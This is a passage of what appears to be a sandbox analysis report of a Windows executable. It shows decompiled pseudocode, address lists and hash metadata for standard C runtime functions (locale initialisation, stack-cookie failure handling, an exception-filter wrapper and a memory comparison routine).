					_t165 = E00418E50(_t279,  &_v20, 1, _v8, 0x2b, __esi + 0x24);
					_t168 = E00418E50(_t279,  &_v20, 1, _v8, 0x2c, __esi + 0x28);
					_t171 = E00418E50(_t279,  &_v20, 1, _v8, 0x2d, __esi + 0x2c);
					_t174 = E00418E50(_t279,  &_v20, 1, _v8, 0x2e, __esi + 0x30);
					_t177 = E00418E50(_t279,  &_v20, 1, _v8, 0x2f, __esi + 0x34);
					_t180 = E00418E50(_t279,  &_v20, 1, _v8, 0x30, __esi + 0x1c);
					_t183 = E00418E50(_t279,  &_v20, 1, _v8, 0x44, __esi + 0x38);
					_t186 = E00418E50(_t279,  &_v20, 1, _v8, 0x45, __esi + 0x3c);
					_t189 = E00418E50(_t279,  &_v20, 1, _v8, 0x46, __esi + 0x40);
					_t192 = E00418E50(_t279,  &_v20, 1, _v8, 0x47, __esi + 0x44);
					_t195 = E00418E50(_t279,  &_v20, 1, _v8, 0x48, __esi + 0x48);
					_t198 = E00418E50(_t279,  &_v20, 1, _v8, 0x49, __esi + 0x4c);
					_t201 = E00418E50(_t279,  &_v20, 1, _v8, 0x4a, __esi + 0x50);
					_t204 = E00418E50(_t279,  &_v20, 1, _v8, 0x4b, __esi + 0x54);
					_t207 = E00418E50(_t279,  &_v20, 1, _v8, 0x4c, __esi + 0x58);
					_t210 = E00418E50(_t279,  &_v20, 1, _v8, 0x4d, __esi + 0x5c);
					_t213 = E00418E50(_t279,  &_v20, 1, _v8, 0x4e, __esi + 0x60);
					_t216 = E00418E50(_t279,  &_v20, 1, _v8, 0x4f, __esi + 0x64);
					_t219 = E00418E50(_t279,  &_v20, 1, _v8, 0x38, __esi + 0x68);
					_t222 = E00418E50(_t279,  &_v20, 1, _v8, 0x39, __esi + 0x6c);
					_t225 = E00418E50(_t279,  &_v20, 1, _v8, 0x3a, __esi + 0x70);
					_t228 = E00418E50(_t279,  &_v20, 1, _v8, 0x3b, __esi + 0x74);
					_t231 = E00418E50(_t279,  &_v20, 1, _v8, 0x3c, __esi + 0x78);
					_t234 = E00418E50(_t279,  &_v20, 1, _v8, 0x3d, __esi + 0x7c);
					_t237 = E00418E50(_t279,  &_v20, 1, _v8, 0x3e, __esi + 0x80);
					_t240 = E00418E50(_t279,  &_v20, 1, _v8, 0x3f, __esi + 0x84);
					_t243 = E00418E50(_t279,  &_v20, 1, _v8, 0x40, __esi + 0x88);
					_t246 = E00418E50(_t279,  &_v20, 1, _v8, 0x41, __esi + 0x8c);
					_t249 = E00418E50(_t279,  &_v20, 1, _v8, 0x42, __esi + 0x90);
					_t252 = E00418E50(_t279,  &_v20, 1, _v8, 0x43, __esi + 0x94);
					_t255 = E00418E50(_t279,  &_v20, 1, _v8, 0x28, __esi + 0x98);
					_t258 = E00418E50(_t279,  &_v20, 1, _v8, 0x29, __esi + 0x9c);
					_t261 = E00418E50(_t279,  &_v20, 1, _v12, 0x1f, __esi + 0xa0);
					_t264 = E00418E50(_t279,  &_v20, 1, _v12, 0x20, __esi + 0xa4);
					_t267 = E00418E50(_t279,  &_v20, 1, _v12, 0x1003, __esi + 0xa8);
					_t276 = _v12;
					_t270 = E00418E50(_t279,  &_v20, 0, _t276, 0x1009, __esi + 0xb0);
					 *(__esi + 0xac) = _t276;
					return _t142 | _t145 | _t148 | _t151 | _t154 | _t157 | _t159 | _t162 | _t165 | _t168 | _t171 | _t174 | _t177 | _t180 | _t183 | _t186 | _t189 | _t192 | _t195 | _t198 | _t201 | _t204 | _t207 | _t210 | _t213 | _t216 | _t219 | _t222 | _t225 | _t228 | _t231 | _t234 | _t237 | _t240 | _t243 | _t246 | _t249 | _t252 | _t255 | _t258 | _t261 | _t264 | _t267 | _t270;
				} else {
					return __eax | 0xffffffff;
				}
			}

0x0041969b
0x0041969f
0x004196a3
0x004196a6
0x004196ab
0x004196b2
0x004196b8
0x004196ca
0x004196df
0x004196f4
0x00419709
0x00419721
0x00419736
0x00419748
0x0041975d
0x00419775
0x0041978a
0x0041979f
0x004197b4
0x004197cc
0x004197e1
0x004197f6
0x0041980b
0x00419823
0x00419838
0x0041984d
0x00419862
0x0041987a
0x0041988f
0x004198a4
0x004198b9
0x004198d1
0x004198e6
0x004198fb
0x00419910
0x00419928
0x0041993d
0x00419952
0x00419967
0x00419982
0x0041999a
0x004199b2
0x004199ca
0x004199e5
0x004199fd
0x00419a15
0x00419a2d
0x00419a48
0x00419a60
0x00419a7b
0x00419a8e
0x00419a98
0x00419aa5
0x00419aad
0x004196ad
0x004196b1
0x004196b1

APIs

___getlocaleinfo.LIBCMT ref: 004196CA
___getlocaleinfo.LIBCMT ref: 004196DF
___getlocaleinfo.LIBCMT ref: 004196F4
___getlocaleinfo.LIBCMT ref: 00419709
___getlocaleinfo.LIBCMT ref: 00419721
___getlocaleinfo.LIBCMT ref: 00419736
___getlocaleinfo.LIBCMT ref: 00419748
___getlocaleinfo.LIBCMT ref: 0041975D
___getlocaleinfo.LIBCMT ref: 00419775
___getlocaleinfo.LIBCMT ref: 0041978A

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: b61ea42f929aff64e80fc6d9ea8ebb270ba40d651165999de109bf174c710205
Instruction ID: 79871a269c537f40bdd523a442771907685a08e51df0e50bcf33ea4ce9d5b602
Opcode Fuzzy Hash: b61ea42f929aff64e80fc6d9ea8ebb270ba40d651165999de109bf174c710205
Instruction Fuzzy Hash: 26E1BEB690020DBEEB11DAF1CC81EFF7BBEEB04748F14092EB255D3041EA75AA459764

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA30 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040FA30(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x449b78; // 0x6631dcff
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44b350 = _t6;
				 *0x44b34c = _t22;
				 *0x44b348 = _t25;
				 *0x44b344 = _t21;
				 *0x44b340 = _t27;
				 *0x44b33c = _t26;
				 *0x44b368 = ss;
				 *0x44b35c = cs;
				 *0x44b338 = ds;
				 *0x44b334 = es;
				 *0x44b330 = fs;
				 *0x44b32c = gs;
				asm("pushfd");
				_pop( *0x44b360);
				 *0x44b354 =  *_t31;
				 *0x44b358 = _v0;
				 *0x44b364 =  &_a4;
				 *0x44b2a0 = 0x10001;
				_t11 =  *0x44b358; // 0x0
				 *0x44b254 = _t11;
				 *0x44b248 = 0xc0000409;
				 *0x44b24c = 1;
				_t12 =  *0x449b78; // 0x6631dcff
				_v812 = _t12;
				_t13 =  *0x449b7c; // 0x99ce2300
				_v808 = _t13;
				 *0x44b298 = IsDebuggerPresent();
				_push(1);
				E00416B2A(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x423070);
				if( *0x44b298 == 0) {
					_push(1);
					E00416B2A(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040fa30
0x0040fa30
0x0040fa30
0x0040fa30
0x0040fa30
0x0040fa30
0x0040fa30
0x0040fa36
0x0040fa38
0x0040fa38
0x00416b3d
0x00416b42
0x00416b48
0x00416b4e
0x00416b54
0x00416b5a
0x00416b60
0x00416b67
0x00416b6e
0x00416b75
0x00416b7c
0x00416b83
0x00416b8a
0x00416b8b
0x00416b94
0x00416b9c
0x00416ba4
0x00416baf
0x00416bb9
0x00416bbe
0x00416bc3
0x00416bcd
0x00416bd7
0x00416bdc
0x00416be2
0x00416be7
0x00416bf3
0x00416bf8
0x00416bfa
0x00416c02
0x00416c0d
0x00416c1a
0x00416c1c
0x00416c1e
0x00416c23
0x00416c37

APIs

IsDebuggerPresent.KERNEL32 ref: 00416BED
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00416C02
UnhandledExceptionFilter.KERNEL32(00423070), ref: 00416C0D
GetCurrentProcess.KERNEL32(C0000409), ref: 00416C29
TerminateProcess.KERNEL32(00000000), ref: 00416C30

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 0da0d619736d21ca50c710b6271a89aa719ee5ecc454d026c1875eb0a54c1c7f
Instruction ID: 9b7b38d4e6cf3a78d67de7f60d2827e514f07c87e8c649fa86d63982c0f8eb36
Opcode Fuzzy Hash: 0da0d619736d21ca50c710b6271a89aa719ee5ecc454d026c1875eb0a54c1c7f
Instruction Fuzzy Hash: D521CF78501304DFD720DF6AFC896657BE4FB0A704F90517AE80886261E7B49981CF8D

Uniqueness

Uniqueness Score: -1.00%

Function 00416077 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416077() {

				SetUnhandledExceptionFilter(E00416035);
				return 0;
			}

0x0041607c
0x00416084

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00016035), ref: 0041607C

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dc93e06a131472330a4a8462aac34505e0257fbcd6b519b047fe3e14aa04bf2c
Instruction ID: 0b533ff7ec65b8dcf4c2012450abbd5f1bbdceca4e287a8102a0945d2e33f397
Opcode Fuzzy Hash: dc93e06a131472330a4a8462aac34505e0257fbcd6b519b047fe3e14aa04bf2c
Instruction Fuzzy Hash: FD9002703511444A461257745D0D55729D46A4C747B9208656151C4065DA5684515519

Uniqueness

Uniqueness Score: -1.00%

Function 0042C760 Relevance: 1.4, Instructions: 1445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6a8ca797307e157a635dd90dc2311daf1eb43a0da73e19da158aaf39a3e9c98
Instruction ID: 1bcd0a21d1d98ddebc765c5c6a153018057464ce8ad9f02424e011d57f18a722
Opcode Fuzzy Hash: e6a8ca797307e157a635dd90dc2311daf1eb43a0da73e19da158aaf39a3e9c98
Instruction Fuzzy Hash: 99C25B6244F3D29FD7138B749C705E5BFB0AE1721471E09CBD8C18F1A3E2281A6AD766

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF1D Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040EF1D(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0040ef1d
0x0040ef1d
0x0040ef23
0x0040efa3
0x0040efa5
0x0040efa7
0x00000000
0x00000000
0x0040efad
0x0040efb3
0x0040f032
0x0040f034
0x0040f036
0x00000000
0x00000000
0x0040f03c
0x0040f042
0x0040f0c1
0x0040f0c3
0x0040f0c5
0x00000000
0x00000000
0x0040f0cb
0x0040f0d1
0x0040f150
0x0040f152
0x0040f154
0x00000000
0x00000000
0x0040f160
0x0040f1e0
0x0040f1e2
0x0040f1e4
0x00000000
0x00000000
0x0040f1ea
0x0040f1f0
0x0040f26f
0x0040f271
0x0040f273
0x00000000
0x00000000
0x0040f279
0x0040f27f
0x0040f2fe
0x0040f300
0x0040f302
0x00000000
0x00000000
0x0040f310
0x0040f312
0x0040eef5
0x0040eefd
0x0040eeff
0x0040eadb
0x0040eae3
0x0040eae5
0x0040eaf6
0x0040eaf6
0x0040e6eb
0x0040f447
0x0040f447
0x0040ef0c
0x0040ef12
0x0040f32b
0x0040f32b
0x00000000
0x0040ef18
0x00000000
0x0040ef18
0x0040ef12
0x0040f31f
0x0040f325
0x00000000
0x00000000
0x00000000
0x0040f325
0x0040f288
0x0040f28a
0x0040f2a1
0x0040f2a9
0x0040f2ab
0x0040f2c2
0x0040f2ca
0x0040f2cc
0x0040f2e3
0x0040f2eb
0x0040f2ed
0x0040f2fa
0x0040f2fa
0x00000000
0x0040f2ed
0x0040f2d9
0x0040f2dd
0x00000000
0x00000000
0x00000000
0x0040f2dd
0x0040f2b8
0x0040f2bc
0x00000000
0x00000000
0x00000000
0x0040f2bc
0x0040f297
0x0040f29b
0x00000000
0x00000000
0x00000000
0x0040f29b
0x0040f1f9
0x0040f1fb
0x0040f212
0x0040f21a
0x0040f21c
0x0040f233
0x0040f23b
0x0040f23d
0x0040f254
0x0040f25c
0x0040f25e
0x0040f26b
0x0040f26b
0x00000000
0x0040f25e
0x0040f24a
0x0040f24e
0x00000000
0x00000000
0x00000000
0x0040f24e
0x0040f229
0x0040f22d
0x00000000
0x00000000
0x00000000
0x0040f22d
0x0040f208
0x0040f20c
0x00000000
0x00000000
0x00000000
0x0040f20c
0x0040f16a
0x0040f16c
0x0040f183
0x0040f18b
0x0040f18d
0x0040f1a4
0x0040f1ac
0x0040f1ae
0x0040f1c5
0x0040f1cd
0x0040f1cf
0x0040f1dc
0x0040f1dc
0x00000000
0x0040f1cf
0x0040f1bb
0x0040f1bf
0x00000000
0x00000000
0x00000000
0x0040f1bf
0x0040f19a
0x0040f19e
0x00000000
0x00000000
0x00000000
0x0040f19e
0x0040f179
0x0040f17d
0x00000000
0x00000000
0x00000000
0x0040f17d
0x0040f0da
0x0040f0dc
0x0040f0f3
0x0040f0fb
0x0040f0fd
0x0040f114
0x0040f11c
0x0040f11e
0x0040f135
0x0040f13d
0x0040f13f
0x0040f14c
0x0040f14c
0x00000000
0x0040f13f
0x0040f12b
0x0040f12f
0x00000000
0x00000000
0x00000000
0x0040f12f
0x0040f10a
0x0040f10e
0x00000000
0x00000000
0x00000000
0x0040f10e
0x0040f0e9
0x0040f0ed
0x00000000
0x00000000
0x00000000
0x0040f0ed
0x0040f04b
0x0040f04d
0x0040f064
0x0040f06c
0x0040f06e
0x0040f085
0x0040f08d
0x0040f08f
0x0040f0a6
0x0040f0ae
0x0040f0b0
0x0040f0bd
0x0040f0bd
0x00000000
0x0040f0b0
0x0040f09c
0x0040f0a0
0x00000000
0x00000000
0x00000000
0x0040f0a0
0x0040f07b
0x0040f07f
0x00000000
0x00000000
0x00000000
0x0040f07f
0x0040f05a
0x0040f05e
0x00000000
0x00000000
0x00000000
0x0040f05e
0x0040efbc
0x0040efbe
0x0040efd5
0x0040efdd
0x0040efdf
0x0040eff6
0x0040effe
0x0040f000
0x0040f017
0x0040f01f
0x0040f021
0x0040f02e
0x0040f02e
0x00000000
0x0040f021
0x0040f00d
0x0040f011
0x00000000
0x00000000
0x00000000
0x0040f011
0x0040efec
0x0040eff0
0x00000000
0x00000000
0x00000000
0x0040eff0
0x0040efcb
0x0040efcf
0x00000000
0x00000000
0x00000000
0x0040ef25
0x0040ef25
0x0040ef29
0x0040ef2d
0x0040ef2f
0x0040ef46
0x0040ef46
0x0040ef4a
0x0040ef4e
0x0040ef50
0x0040ef67
0x0040ef67
0x0040ef6b
0x0040ef6f
0x0040ef71
0x0040ef88
0x0040ef88
0x0040ef8c
0x0040ef90
0x0040ef92
0x0040ef98
0x0040ef9b
0x0040ef9f
0x0040ef9f
0x00000000
0x0040ef92
0x0040ef77
0x0040ef7a
0x0040ef7e
0x0040ef82
0x00000000
0x00000000
0x00000000
0x0040ef82
0x0040ef56
0x0040ef59
0x0040ef5d
0x0040ef61
0x00000000
0x00000000
0x00000000
0x0040ef61
0x0040ef35
0x0040ef38
0x0040ef3c
0x0040ef40
0x00000000
0x00000000
0x00000000
0x0040ef40
0x0040e316
0x0040e316
0x00000000

Memory Dump Source

